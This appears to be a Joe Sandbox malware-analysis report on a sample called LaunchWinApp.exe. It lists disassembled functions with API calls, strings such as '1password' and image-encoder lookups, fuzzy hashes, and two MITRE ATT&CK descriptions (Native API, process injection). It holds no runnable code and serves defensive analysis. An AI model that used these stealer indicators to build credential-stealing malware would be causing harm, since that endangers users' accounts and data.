Function 004553B5 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004553BE

Part of subcall function 0045813E: HeapFree.KERNEL32(00000000,00000000,?,00461F3E,?,00000000,?,00000002,?,004621E1,?,00000007,?,?,004625E2,?), ref: 00458154
Part of subcall function 0045813E: GetLastError.KERNEL32(?,?,00461F3E,?,00000000,?,00000002,?,004621E1,?,00000007,?,?,004625E2,?,?), ref: 00458166

_free.LIBCMT ref: 004553D1
_free.LIBCMT ref: 004553E2
_free.LIBCMT ref: 004553F3

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 2eb3980461a139c838a12933dd8749c0b357224b47e71266e8d464f30ba649df
Instruction ID: cc534e50669d03abe8a9d5ceeebe31a33248f96f6e260ce9ce2c90e8e91de78b
Opcode Fuzzy Hash: 2eb3980461a139c838a12933dd8749c0b357224b47e71266e8d464f30ba649df
Instruction Fuzzy Hash: 4BE08670C076209A8A01AF11BD0188EBF26F754F54750082FF89022AB6CF354413DB8C

Uniqueness

Uniqueness Score: -1.00%

Function 004298AD Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 223COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004298B2

Strings

ZoGard, xrefs: 004299F7
Gard, xrefs: 004299D4, 004299E1, 004299B6

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID: Gard$ZoGard
API String ID: 3519838083-3047177976
Opcode ID: f4ee975e8a6710c4ac2120d9c08ef393e9ed39942866f69be42a89467e4a996b
Instruction ID: 91d12020a773591fc39ab6ce2f59e6579687a89ca79167943ecda0e754f68535
Opcode Fuzzy Hash: f4ee975e8a6710c4ac2120d9c08ef393e9ed39942866f69be42a89467e4a996b
Instruction Fuzzy Hash: 02A14BB1E00219DFCB14DF99D580ADEBBF1BF08304F64416EE445AB241DB79AA49CF98

Uniqueness

Uniqueness Score: -1.00%

Function 0045322D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMONLIBRARYCODE

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 004532BD

Strings

pow, xrefs: 00453295, 004532B2

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: ffa18fa160b94d3e928a64741549721c064601d8526da00ac720a69dc92addcd
Instruction ID: becc00934fa5cd00972b8da59cb78858fe66197c106de27d9c35932110c9f096
Opcode Fuzzy Hash: ffa18fa160b94d3e928a64741549721c064601d8526da00ac720a69dc92addcd
Instruction Fuzzy Hash: BC5118A1A04602A6CB117F14C90136B6794EB40793F30497BFCD5463ABEB2D8ADD9A4F

Uniqueness

Uniqueness Score: -1.00%

Function 0041916E Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 137COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00419173

Part of subcall function 004360CE: GetEnvironmentVariableA.KERNEL32(?,?,00000104,00000000), ref: 0043611A

Part of subcall function 00435C2D: __EH_prolog.LIBCMT ref: 00435C32
Part of subcall function 00435C2D: _strcat.LIBCMT ref: 00435C8D

Strings

/:, xrefs: 0041925D
1password, xrefs: 00419182

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: H_prolog$EnvironmentVariable_strcat
String ID: /:$1password
API String ID: 3009225943-4104749049
Opcode ID: a69bccc6f4823ed382590e4b4ca436898eacfb8bc5e654ada64c60906e745fcb
Instruction ID: bb09c6a66ebbe5126caed9f279bf567a729386df138ccbc0ac84066580e3fce8
Opcode Fuzzy Hash: a69bccc6f4823ed382590e4b4ca436898eacfb8bc5e654ada64c60906e745fcb
Instruction Fuzzy Hash: 9651C171D05249DACF04EFE9D4A15EEBBB1AF19304F24946ED80137342EB781B49CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0045481E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Windows\SysWOW64\LaunchWinApp.exe, xrefs: 00454861, 00454868, 0045489E

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Windows\SysWOW64\LaunchWinApp.exe
API String ID: 0-1137754122
Opcode ID: c827341752422e64363cb874ab1a94958e778a2a1f8d351f1950540f3c5323c1
Instruction ID: 5d99d1491331256017dc35e721ae33a7e6d55248c937d5b5ea4d3564f748dfb5
Opcode Fuzzy Hash: c827341752422e64363cb874ab1a94958e778a2a1f8d351f1950540f3c5323c1
Instruction Fuzzy Hash: 3B41A7B1E00254ABDB11EB99DC819AFBBB8EFC5359F10006BE804DB352D7744A85C758

Uniqueness

Uniqueness Score: -1.00%

Function 0042618E Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 114COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00426193

Strings

A:\_Work\rc-build-v1-exe\json.hpp, xrefs: 00426212
is_contiguous, xrefs: 00426217

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID: A:\_Work\rc-build-v1-exe\json.hpp$is_contiguous
API String ID: 3519838083-1910854552
Opcode ID: 3eca3036cd9515d6a1597a4c8e912d25aaf5d7d448f9e55ebcda214e34e80e04
Instruction ID: 8c4998134e974a232d9e1a03f58385bb1cd38436996efc69c749a39a1cd57789
Opcode Fuzzy Hash: 3eca3036cd9515d6a1597a4c8e912d25aaf5d7d448f9e55ebcda214e34e80e04
Instruction Fuzzy Hash: 824124B1E042499FCB08DFA8D5406AEFBF1EF49300B25C0AED859E7341D7749941CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0044443C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00444461

Strings

MOC, xrefs: 00444473
RCC, xrefs: 0044447B

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 6d8c45f86c68df9660d4f66f21dd8fcdae06b1982ad5ba15781dd7584bd41598
Instruction ID: b88cd35fc5f179f5f636914fa6cacad5792dff393ebf0db12a4521d697e8c7d8
Opcode Fuzzy Hash: 6d8c45f86c68df9660d4f66f21dd8fcdae06b1982ad5ba15781dd7584bd41598
Instruction Fuzzy Hash: 5F414971900109AFEF16DF98CD81BAEBBB5BF88304F14805AFA1567251D3399A50DF54

Uniqueness

Uniqueness Score: -1.00%

Function 0041B7BB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 98COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041B7C0

Part of subcall function 0041B913: __EH_prolog.LIBCMT ref: 0041B918

Part of subcall function 0041B6BF: __EH_prolog.LIBCMT ref: 0041B6C4

Part of subcall function 00414005: _Deallocate.LIBCONCRT ref: 00414014

Part of subcall function 0041B68A: std::exception::exception.LIBCONCRT ref: 0041B6AB

Strings

parse_error, xrefs: 0041B7F0
parse error, xrefs: 0041B821

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: H_prolog$Deallocatestd::exception::exception
String ID: parse error$parse_error
API String ID: 3877490255-1820534363
Opcode ID: 56efb09c3b9af0f7d51859861ab4592f0f6071c54c98832e4109ac9a6c82395a
Instruction ID: b92f79fc419b7b4fff78366e709b6ef9e49e24fdc98f8d346d005118b56e156c
Opcode Fuzzy Hash: 56efb09c3b9af0f7d51859861ab4592f0f6071c54c98832e4109ac9a6c82395a
Instruction Fuzzy Hash: AD414A70D00258EECB14EFA5C841ADDBBB4BF58308F10806EE505B3241DB791B89CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040BE39 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 96COMMON

Download Yara Rule

APIs

__EH_prolog2.LIBCMT ref: 0040BE40

Strings

", ", xrefs: 0040BF07
: ", xrefs: 0040BEE8

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: H_prolog2
String ID: ", "$: "
API String ID: 1857396960-747220369
Opcode ID: 24c075a4d3f59043fbfaf84855048f39c9093190b9a1a22584be1efc8a000c4c
Instruction ID: 0c5daafeb64f308c71ec4e41247dc60d1de8812f909f0841cbb2bbb45fe14e5a
Opcode Fuzzy Hash: 24c075a4d3f59043fbfaf84855048f39c9093190b9a1a22584be1efc8a000c4c
Instruction Fuzzy Hash: 8931C371A01204AFCB14EF55D942BEEBBB6EF88704F10416FE501A7282DB786E44CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00425C1E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00425C23

Strings

A:\_Work\rc-build-v1-exe\json.hpp, xrefs: 00425CDC
object != nullptr, xrefs: 00425CE1

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID: A:\_Work\rc-build-v1-exe\json.hpp$object != nullptr
API String ID: 3519838083-2355325030
Opcode ID: f34ada4d3396985d0757c15e633d499baace0adb93d5bca2e6c5a18f2781f7e7
Instruction ID: 281599164418e76299791b603bf0904bbd9bfe90bff2a30576b8a26cde73192c
Opcode Fuzzy Hash: f34ada4d3396985d0757c15e633d499baace0adb93d5bca2e6c5a18f2781f7e7
Instruction Fuzzy Hash: D631E071B00B169BC711DF6AD191A6ABBB0AF05308F14812FD546A7B01E779AA40CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0041B913 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 70COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041B918

Part of subcall function 00414005: _Deallocate.LIBCONCRT ref: 00414014

Strings

, column , xrefs: 0041B983
at line , xrefs: 0041B96D

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: DeallocateH_prolog
String ID: at line $, column
API String ID: 3708980276-191570568
Opcode ID: be32b6fa57177b444a810ab66664a341ad51fe8673630ed6475510f98cd95f1a
Instruction ID: 16f1584564fd2364165062dacf31d5a761b9d75e4a52b53f9cf85d007d8cb2a1
Opcode Fuzzy Hash: be32b6fa57177b444a810ab66664a341ad51fe8673630ed6475510f98cd95f1a
Instruction Fuzzy Hash: 2C2190B1900118DECB05EF96C8919EEFB78EF94318F40402FE042A3242DB782A49CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0043B15F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0043B164

Strings

false, xrefs: 0043B1C1
true, xrefs: 0043B1D4

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID: false$true
API String ID: 3519838083-2658103896
Opcode ID: 2c230bbe56877acea673e662f32d522eb1d73fb39336ca91362bff78453e1351
Instruction ID: a9da9812de1df213551776536eacaf657d27d5aea58e29d0a14d5aa335713042
Opcode Fuzzy Hash: 2c230bbe56877acea673e662f32d522eb1d73fb39336ca91362bff78453e1351
Instruction Fuzzy Hash: 9F21A471900744AED720EFA5D841BDAB7F8EF09304F04852FE6A5D7741EB74A504CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0042B0E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

GdipGetImageEncodersSize.GDIPLUS(?,?), ref: 0042B0FE
GdipGetImageEncoders.GDIPLUS(?,?,00000000), ref: 0042B123

Strings

image/jpeg, xrefs: 0042B131

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: EncodersGdipImage$Size
String ID: image/jpeg
API String ID: 864223233-3785015651
Opcode ID: 9a09a9b044f5623806d58d6f38f2c7a121c8a0d69835521d41d0963dc328c1ca
Instruction ID: c5f7e4e64d09994b032ccdd31602c26a0c15d3a3aba06b4400188f8ca9e3e1f2
Opcode Fuzzy Hash: 9a09a9b044f5623806d58d6f38f2c7a121c8a0d69835521d41d0963dc328c1ca
Instruction Fuzzy Hash: 74110A36D00218FFDB00DF999C808AFFBB5EE41360B60016FE81573291D7755E519A94

Uniqueness

Uniqueness Score: -1.00%

Function 00425E94 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00425E99

Strings

A:\_Work\rc-build-v1-exe\json.hpp, xrefs: 00425EB7
m_object != nullptr, xrefs: 00425EBC

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID: A:\_Work\rc-build-v1-exe\json.hpp$m_object != nullptr
API String ID: 3519838083-1282721270
Opcode ID: dec44afa91cf3b9f53d72d2be943b320470683b371e7722c7d8a9eee2e290af3
Instruction ID: 1eea9421f6fa27460d8faf2e93557ba0d4c668703bda1c84fc21c7a75faf9df9
Opcode Fuzzy Hash: dec44afa91cf3b9f53d72d2be943b320470683b371e7722c7d8a9eee2e290af3
Instruction Fuzzy Hash: C2118B71A00A10ABC724EB59D986E9AB3F5EF10324FA0891BE455E3640D739EE04CA59

Uniqueness

Uniqueness Score: -1.00%

Function 004622AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004622F3

Strings

d3G, xrefs: 004622C1

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: _free
String ID: d3G
API String ID: 269201875-2890664941
Opcode ID: e61348188f6cecc45c9e88a49037ff9d43c758bc04c5b41ee635153f58cd7e04
Instruction ID: 719457d60c93a8b444615d75b8e255b4b8b718e11c4cc0f5774e7abd4b7be7b5
Opcode Fuzzy Hash: e61348188f6cecc45c9e88a49037ff9d43c758bc04c5b41ee635153f58cd7e04
Instruction Fuzzy Hash: 00F0F932509B107AE7112A62AD42B977748EB427B4F20006FFC4C6A143EFA9080142BF

Uniqueness

Uniqueness Score: -1.00%

Function 004400A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 004400AC
std::_Lockit::~_Lockit.LIBCPMT ref: 00440107

Strings

\1A, xrefs: 004400D1, 004400EB

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: \1A
API String ID: 593203224-1566668914
Opcode ID: 7b8d2485e05b089728a2e493fafb8867dc345cfd6ed1c297580e8065cb1341b8
Instruction ID: f2b59be12c1c4504e2c29a8c9102660fb5c1504f836a62e00c8fcff558bff847
Opcode Fuzzy Hash: 7b8d2485e05b089728a2e493fafb8867dc345cfd6ed1c297580e8065cb1341b8
Instruction Fuzzy Hash: 3801B135A00204AFDB04DF5AD855E5E7BB9EF88710B1440AAED019B3A1EF70EE40CB94

Uniqueness

Uniqueness Score: -1.00%

Function 004575D8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 004614ED: EnterCriticalSection.KERNEL32(00000000,?,00457ED6,00000000,00485DD8,00000010,00445C19,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00461508

FlushFileBuffers.KERNEL32(00000000,00485DB8,0000000C,004576DF,0044560C,00000000,?,?,0044560C,00000000,?), ref: 00457621
GetLastError.KERNEL32 ref: 00457632

Strings

A:\_Work\rc-build-v1-exe\json.hpp, xrefs: 00457619

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: BuffersCriticalEnterErrorFileFlushLastSection
String ID: A:\_Work\rc-build-v1-exe\json.hpp
API String ID: 4109680722-4059005155
Opcode ID: 8aca5a384a130709495133b64f9b01ca07cbe28d016f31981a179344f07294d3
Instruction ID: 517f7b910fb15b9e83242d317033869e00583d672b71bd95776c1903159fed41
Opcode Fuzzy Hash: 8aca5a384a130709495133b64f9b01ca07cbe28d016f31981a179344f07294d3
Instruction Fuzzy Hash: 6D01D232A002108FD710AFADE846A9D7BE4EF49724F14412FF8119B3E2EB789801CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0043F790 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(fA,00000000,?,?,?,?,?,?,?,?,?,004166EE), ref: 0043F79D
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,004166EE), ref: 0043F7B0

Strings

fA, xrefs: 0043F79A

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: CreateDirectoryErrorLast
String ID: fA
API String ID: 1375471231-3595381179
Opcode ID: 7f117bdf9542e0e9455c3ff1d9efaa36734eef7993e501978144e461788087b3
Instruction ID: aab51e86ca4216de9860d6553d9cba86a64db35d3cb21742e8a5e51a54672639
Opcode Fuzzy Hash: 7f117bdf9542e0e9455c3ff1d9efaa36734eef7993e501978144e461788087b3
Instruction Fuzzy Hash: 13F09634F041186BDB015A588C80BDFBFE99B68368F209177E800A6354DBB4DD8AC395

Uniqueness

Uniqueness Score: -1.00%

Function 0042601F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00426024

Strings

A:\_Work\rc-build-v1-exe\json.hpp, xrefs: 00426063
object != nullptr, xrefs: 00426068

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID: A:\_Work\rc-build-v1-exe\json.hpp$object != nullptr
API String ID: 3519838083-2355325030
Opcode ID: 8c17251beb50ada09840f16e74cd6ad8ab21c1947feebc6feee927d0544b7275
Instruction ID: b270a931fb3d8c51c8a2b06873d38c6ab27a24af5998e314c7ad61ce3866dac3
Opcode Fuzzy Hash: 8c17251beb50ada09840f16e74cd6ad8ab21c1947feebc6feee927d0544b7275
Instruction Fuzzy Hash: D0F04FB2E00614ABC721EF6994026CEBBF4EF98754F10453FE549E7240EB7886148B95

Uniqueness

Uniqueness Score: -1.00%

Function 004252F2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004252F7

Strings

A:\_Work\rc-build-v1-exe\json.hpp, xrefs: 0042533E
object != nullptr, xrefs: 00425343

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID: A:\_Work\rc-build-v1-exe\json.hpp$object != nullptr
API String ID: 3519838083-2355325030
Opcode ID: 3cd2ce8a469ec1fe3a4a12f3354153b40ad996032e037c81a99fc079bb7cd5d2
Instruction ID: c746586c6410cb7b842a3d9422f674b7d5bdd00d25af5b2e3ee2ba044bde6932
Opcode Fuzzy Hash: 3cd2ce8a469ec1fe3a4a12f3354153b40ad996032e037c81a99fc079bb7cd5d2
Instruction Fuzzy Hash: 8DF03CB2E407149ED761EF689402799BBF0EF04754F10816FE949EB241E67886148B8A

Uniqueness

Uniqueness Score: -1.00%

Function 00458AF8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

CompareStringW.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,00000000,00000000,SFF,004645E9,?,?,00000000,?,00000000), ref: 00458B4A

Strings

\1A, xrefs: 00458B26
SFF, xrefs: 00458AFA

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: CompareString
String ID: SFF$\1A
API String ID: 1825529933-211022277
Opcode ID: 1ce6a69c38e504dc32a19213d4623eb196c605965d2a9a7f4c4fc4381e62753b
Instruction ID: 9df318d7aa59986ff875c42885e32a307f720c9909f6b508079be678eb293b6e
Opcode Fuzzy Hash: 1ce6a69c38e504dc32a19213d4623eb196c605965d2a9a7f4c4fc4381e62753b
Instruction Fuzzy Hash: F6F0B83600015ABBCF021F91DC05DDE3F66AF083A1B044029FE1825121CA36D872AB99

Uniqueness

Uniqueness Score: -1.00%

Function 0042535F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00425364

Strings

A:\_Work\rc-build-v1-exe\json.hpp, xrefs: 0042539A
object != nullptr, xrefs: 0042539F

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID: A:\_Work\rc-build-v1-exe\json.hpp$object != nullptr
API String ID: 3519838083-2355325030
Opcode ID: 09be4980480aeac8f688599d45f9f475c820cce6d217246497adaf92e34e6409
Instruction ID: d4477f8f5ce939975973547e7c3928c9c9c376e0d884100a7fad34f97490dec4
Opcode Fuzzy Hash: 09be4980480aeac8f688599d45f9f475c820cce6d217246497adaf92e34e6409
Instruction Fuzzy Hash: 18F0A072E40618ABC721FBA4C4027DEBBB49F40B55F00412FE945B7281E6B80A0487DB

Uniqueness

Uniqueness Score: -1.00%

Function 00458DBF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(000000FF,?), ref: 00458DFF

Strings

InitializeCriticalSectionEx, xrefs: 00458DCF
\1A, xrefs: 00458DEF

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx$\1A
API String ID: 2593887523-2129004796
Opcode ID: e00753f2a38f50dd74616300afcb00231ad287ae6f4897d70f8411bd76cf0d00
Instruction ID: 9bc37a0b88e135787b236ec171939a3dfaa57e08d5f42e4e8eae978df1df4395
Opcode Fuzzy Hash: e00753f2a38f50dd74616300afcb00231ad287ae6f4897d70f8411bd76cf0d00
Instruction Fuzzy Hash: 9EE09235540258F7CB112F52DC06DDE7F66EB04B61B00C426FD1C25163EEB68921AAD9

Uniqueness

Uniqueness Score: -1.00%

Function 004143A6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004143AB
std::locale::_Init.LIBCPMT ref: 004143C9

Part of subcall function 00440010: std::_Lockit::_Lockit.LIBCPMT ref: 00440022
Part of subcall function 00440010: std::locale::_Setgloballocale.LIBCPMT ref: 0044003D
Part of subcall function 00440010: _Yarn.LIBCPMT ref: 00440053
Part of subcall function 00440010: std::_Lockit::~_Lockit.LIBCPMT ref: 00440093

Strings

x7A, xrefs: 004143B6

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: Lockitstd::_std::locale::_$H_prologInitLockit::_Lockit::~_SetgloballocaleYarn
String ID: x7A
API String ID: 2306917479-880751048
Opcode ID: 1fdde5069a340e2115be8005ea7888d4cb4889a8b2f472256d2094b2a558b376
Instruction ID: cdf64166deaf435bdbc3126d35dbf11d1c965a41a110df625318a4c77f960365
Opcode Fuzzy Hash: 1fdde5069a340e2115be8005ea7888d4cb4889a8b2f472256d2094b2a558b376
Instruction Fuzzy Hash: 38E09A32700611ABD324AB9AA50238CF7E4EF84B29F10802FE101E7681EFB869248659

Uniqueness

Uniqueness Score: -1.00%

Function 00458BA9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00458BDD

Strings

FlsAlloc, xrefs: 00458BB9
\1A, xrefs: 00458BD3

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: Alloc
String ID: FlsAlloc$\1A
API String ID: 2773662609-1270891297
Opcode ID: cb2ac133acc39799faead7e636c3bc88ffcdf4ec6b9288de109425888709abf1
Instruction ID: d636e7a5e27fc96ca263781990e840e6df6f6dfe9167fa043c4602a8c0a8e837
Opcode Fuzzy Hash: cb2ac133acc39799faead7e636c3bc88ffcdf4ec6b9288de109425888709abf1
Instruction Fuzzy Hash: C6E072B1680224BB820222A25C06FEA3A4CCB00B73F00002BFD0C72292EDE8A80159DE

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre
